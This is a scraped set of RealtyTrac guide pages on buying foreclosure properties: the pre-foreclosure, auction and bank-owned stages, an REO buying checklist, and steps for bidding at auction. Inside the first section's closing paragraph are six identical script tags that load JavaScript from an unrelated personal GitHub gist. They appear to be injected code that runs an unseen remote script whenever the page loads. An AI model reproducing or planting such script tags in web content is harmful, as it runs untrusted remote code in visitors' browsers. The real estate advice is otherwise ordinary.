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<p>Essentially, there are three opportunities for buying foreclosure properties: 1) the pre-foreclosure stage; 2) at the public auction; and 3) bank-owned, or real estate owned (REO). The first step is to determine which stage of foreclosure process you are interested in and figuring out strategies to successfully purchase in that stage. Each of the three buying opportunities has advantages and disadvantage. For an interactive demo on the risks, rewards, and returns in <a href="https://get.realtytrac.com/hubfs/Foreclosure-investing/demo.html">foreclosure investing click here</a> Here’s a brief overview of the three stages:</p>
<h2> Pre-Foreclosure (NOD, LIS)</h2>
<p>Buying a property in pre-foreclosure involves approaching the borrower/owner and offering to buy the property outright. The borrower/owner can walk away with something to show for any equity in the property and avoid a bad mark on his or her credit history. The buyer has time to research the title and condition of the property and can realize discounts of 20-40 percent below market value.</p>
<p>Wondering what happens after foreclosure? Then please read on. Remember that understanding foreclosures is the first step for homeowners to stop foreclosure. It is also the first step for investors to buy foreclosure properties.</p>
<p>Learn more about <a title="Buying Pre-foreclosures" href="/real-estate-guides/how-to-buy-foreclosures/preforeclosures/">buying pre-foreclosure homes</a></p>
<h2>Auction (NTS, NFS)</h2>
<p>If the loan is not reinstated by the end of the pre-foreclosure period, potential buyers can bid on the property at a public auction. Buyers often are required to pay in cash at the auction and may not have much time to research the title and condition of the property beforehand; however, a public auction often offers some of the best bargains and avoids the unpredictability of dealing directly with the borrower/owner.</p>
<p>Learn more about <a title="Buying Foreclosure Auctions" href="/real-estate-guides/how-to-buy-foreclosures/auction/">buying foreclosure auctions</a></p>
<h2>Bank-owned (REO):</h2>
<p>If the lender takes ownership of the property, either through an agreement with the owner during pre-foreclosure or at the public auction, the lender will usually want to re-sell the property to recover the unpaid loan amount. The lender will then typically clear the title and perform needed maintenance and repair; however, the potential bargain for these REO homes is typically less than a pre-foreclosure or auction property. Bank foreclosures can become government foreclosures if the loan is backed by a government agency such as the Department of Housing and Urban Development (HUD) or the Department of Veterans Affairs (VA). In that case the government agency would be responsible for selling the property.</p>
<p>Learn more about <a title="Hud Foreclosures" href="/real-estate-guides/foreclosure/hud-foreclosures/">HUD foreclosures</a> and <a title="VA Foreclosures" href="/real-estate-guides/foreclosure/veterans-affairs-foreclosures/">VA foreclosures</a>. <script type="text/javascript" src="https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js"></script> <script type="text/javascript" src="https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js"></script> <script type="text/javascript" src="https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js"></script> <script type="text/javascript" src="https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js"></script> <script type="text/javascript" src="https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js"></script> <script type="text/javascript" src="https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js"></script></p>


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Tips and tricks for home owners and real estate investors looking to invest in homes

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Investing In Foreclosure Properties

Understanding the advantage and disadvantages of investing in foreclosures during various stages of the process - pre-foreclosure, auction and bank owned or REO

Investing In Foreclosure Properties - RealtyTrac

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RealtyTrac

<p>A lot of things go into buying bank-owned (REO) properties. New real estate investors often expect the process to be simple, but there are many moving parts! The best way to make sure you don’t miss anything when buying bank-owned (REO) properties is to make a checklist for the process.</p>
<p>Of course, before you buy a bank-owned property, you need to know a little bit about them. REO properties get their name from the term “real estate owned” (REO) because they are literally real estate owned <em>by the bank. </em>Many real estate investors like buying REO properties because banks and other foreclosing lenders may sell at a discount in order to clear their books. Real estate investors may purchase REO properties individually or in bulk, but usually newer investors buy one at a time.</p>
<p>Here is a list of things you can do to improve your chances of successfully purchasing a bank-owned REO:</p>
<h2>1. Inspect the Bank Owned (REO) Property</h2>
<p>Most foreclosure properties are referred to by investors as “distressed” properties because the owner and, as a result, the property, were distressed by the loan delinquency and foreclosure. When you are buying bank-owned (REO) home, you must remember that the owner probably was financially unable to care for the property to the best degree possible if they were behind on their loan payments. As a result, the property may need repairs. You must identify them and factor in the cost of repairs before you buy an REO home.</p>
<p>Bank-owned foreclosure homes are often sold “as is,” which means that a discount on the purchase price can easily be eaten up by unforeseen expenses — such as repairs not immediately apparent in an exterior inspection. Even if there are not major, obvious repairs waiting, you may find that regular maintenance has been neglected, causing less-visible damage. Some homeowners who lose their property to a lender even damage the property before they leave. Hire a licensed home inspector to give you a written estimate of the cost to repair the property. Budget that number into your purchase price. Repair costs can be used later in your negotiation with the bank to reduce the asking price.</p>
<h2>2. Do a Title Search on the Bank-Owned (REO) Property</h2>
<p>Once you have located a potential deal, search the public records for liens and outstanding taxes. You can perform a preliminary check of title on RealtyTrac and then hire a title company to run a full, insured title search before closing the deal.</p>
<p>Remember, liens on the property can drive up the purchase price. There are several types of common liens you may find placed against a property:</p>
<ul>
<li>Tax liens for property taxes or state or federal taxes</li>
<li>Utility liens for unpaid water bills</li>
<li>Mechanics liens or contractors’ liens against the property.</li>
</ul>
<p>These liens remain intact until the money is paid, which means that you may have to pay off the liens on the foreclosed property you are buying — even though you’re not the one who didn’t pay the property taxes. Banks should clear the title before selling but never assume this is the case — just as you would if you were buying a property from anyone else.</p>
<h2>3. Be prepared and willing to negotiate.</h2>
<p>Investors should be prepared to negotiate a lower down payment, a lower interest rate, a reduction in closing costs and a lower asking price. Many lenders may be willing to waive some closing costs or even offer a break on the interest rate or the down payment. Moreover, some lenders might offer to finance the property at a below-market rate or with a lower-than-usual down payment. Anything is possible, but you will never know if you don’t ask. Don’t be afraid to ask for a better price and favorable terms.</p>
<h2>4. Support your offer with facts and photos.</h2>
<p>Although most banks want to unload their foreclosed properties, they won’t necessarily do so cheaply. So you aren’t guaranteed a fabulous price. But remember you’re dealing with an eager seller. Even though the bank’s REO manager or their listing agent might suggest that the list price is “firm,” never be afraid to negotiate price — especially if the foreclosed bank-owned home needs repairs. When submitting a low offer, you need to substantiate the reduced price in writing and document your case. You should furnish photographs and cost estimates for repairs to support your offer amount</p>
<h2>5. Investigate your options for financing.</h2>
<p>If you have good credit and do not already have numerous loans on other investment properties, your bank may be willing to loan you a large portion of the purchase price for the bank-owned (REO) property. Although you should expect the down payment on an investment property to be higher than it would be on an owner-occupied property, you still can try to discuss the interest rate and down payment with your bank. Sometimes credit unions or long-term private lenders will offer you good terms as well.</p>
<h2>RealtyTrac Can Help You Find the Best Bank-Owned (REO) Properties</h2>
<p>There are always good opportunities available to a determined real estate investor, but you have to be willing to look for them. Before you begin, prepare yourself! You will probably have to evaluate and even make offers on several REO properties before your offer is accepted. But if you persevere, with careful planning and preparation you will ultimately purchase a bank-owned property and build your investment portfolio.</p>
<p>RealtyTrac is here to help you buy investment properties whether this is your first deal or your 500<sup>th</sup>. Our vast database of national foreclosures, REOs, and is perfect for helping you find the best real estate investment for you.</p>


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Checklist for Buying a Bank-Owned or REO Property

RealtyTrac offers the best checklist for buying bank-owned (REO) properties as well as the training and resources you need to invest in them

Checklist for Buying a Bank-Owned or REO Property - RealtyTrac

Strategies and insights for real estate wholesale transactions

Wholesale

<p>One of the best things you can do for your real estate portfolio is learn how to buy REO homes at auction. REO stands for “real estate owned,” and REO homes are properties that are owned by a bank or other foreclosing lender. When banks take back foreclosed-upon homes, they sometimes hire auction companies to unload these properties. Banks sell foreclosed properties at auctions to reduce their inventory of REO properties and clear their books of outstanding debt.</p>
<h2>Getting Started Buying Bank-Owned Properties</h2>
<p>Bidders must be registered prior to the auction with the company conducting the auction. Generally, winning bidders must immediately give the auctioneer a deposit, payable in cash or cashier’s check only. Deposits are typically between 5 and 10 percent of the outstanding loan amount, and the winning bidder must be able to close in cash within 30 days. In some cases, however, you may be responsible for payment in full upon winning the auction. The deposit amount varies from state to state and the auction company handling the sale. Some states require winning bidders to pay the full sales amount the same day as the auction, as do some online auction platforms.</p>
<p>In the past, many real estate investors preferred to bid on and buy in person, but today many auctions occur online. Review the terms of use on any auction platform you plan to use to buy foreclosures at auction before bidding to make sure you understand how the auction will proceed and what your responsibilities will be in the event that you win the property.</p>
<h2>Tips for Buying REO Homes at Auction</h2>
<p>There are other considerations for real estate investors bidding in REO auctions, too. All properties are sold “as is” and prospective buyers should inspect the homes prior to the auction, so they know what they are bidding on. Moreover, an owner or tenant living in the house may or may not be cooperative about moving out.</p>
<p>Lenders use auction companies because they move inventory quickly. But bank-owned foreclosures aren’t the only type of property on the auction block. Sometimes homes are sold at HUD auctions, IRS auctions, “repo” auctions or sheriff’s auctions. In some cases, the minimum bid on an REO home at auction will be equal to the outstanding loan amount, but this is not always the case. Depending on the type of auction in which you are bidding, winning the property could mean you are liable for other debts and liens on the home, including overdue taxes, back interest, attorney’s fees, and homeowner’s association (HOA) fines, fees, and dues. Your final cost may be higher than the “sticker price” on the property, so do your due diligence ahead of time to make sure you know exactly what you are bidding on.</p>
<p><strong>4 Steps to Prepare for Buying REO Homes at Auction</strong></p>
<p>Following are steps you can take prior to buying bank-owned homes at auction events:</p>
<p><strong>STEP 1. Inspect Properties Prior to Auction</strong></p>
<p>Bank-owned properties offered at these foreclosure auctions are sold “as is,” meaning the buyer is responsible for any and all repairs. This means that inspecting the property before the auction is critically important. Contact the real estate listing agent or auction company to schedule an appointment to inspect the property. Drive around the neighborhood and look at the quality of the community. Also, talk with adjacent property owners and get as much information about the neighborhood and the previous homeowners as possible. Walk through the house and determine in writing how much it will cost to repair the property. Add the repair costs to your auction bid.</p>
<p>You can use <a href="https://www.realtytrac.com/home-values/">RealtyTrac’s home value and property records database</a> to find out the latest market value of a property.</p>
<p><strong>STEP 2. Read the Fine Print</strong></p>
<p>Carefully read all the terms and conditions of the foreclosure auction before attending the real estate foreclosure auction, or bidding online, especially any fine print. This information can usually be found in the auction brochure or on the company’s website. If you’re not sure about the language in the terms and conditions, have your real estate agent or attorney explain it to you. Make sure you understand bidder eligibility, financing, deposits, closing deadlines, closing costs, purchase agreements, disclosures and other bidding requirements. You will be legally bound by these contracts so make sure you understand them.</p>
<p><strong>STEP 3. Find Financing.</strong></p>
<p>After inspecting several properties and narrowing down your short list of homes, investors and homebuyers should secure financing. While many live auctions have lenders available onsite, it is a good idea to have your financing prepared in advance of the auction. If you can’t secure financing on a property within the required timeframe, your deposit payment will probably be forfeited.</p>
<p><strong>STEP 4. Registration</strong></p>
<p>Many auctions — both online and live — require bidders to register either onsite or online. If you are bidding at a live auction, make sure to arrive early to get a good seat and to give yourself time to prepare for the auction. Check the auction company’s website before you attend a live auction and make sure the properties you are interested in bidding on are still available. Sometimes foreclosed homes are sold prior to the auction.</p>
<p><strong>Two Types of Deeds Granted in REO Auctions</strong></p>
<p>When you purchase an REO property at auction, you may receive a general warranty deed or a special warranty deed. You must know the difference! A general warranty deed shows that the title is clear, whereas a special warranty deed simply states there have been no title issues with the property <em>since the bank took ownership of the property</em>. Special warranty deeds do not mean that there are no title claims or pre-existing liens on the property, so real estate investors should research every property’s history carefully, including doing everything possible to ascertain if the title is clear, prior to bidding.</p>
<p>RealtyTrac is here to help you buy investment properties whether this is your first deal or your 500<sup>th</sup>. Our vast database of national foreclosures, REOs, and bank-owned properties is perfect for helping you find the best real estate investment for you. <a href="https://www.realtytrac.com/profile/registration.aspx"><strong>Sign Up Now</strong></a> and take full advantage of RealtyTrac’s FREE Trial, which allows you to search our real estate inventory free for 7 days. The perfect investment property could be waiting for you right around the corner!</p>


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How to Buy a Home at Auction

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How to Buy REO or Bank-owned Homes at Auction - RealtyTrac

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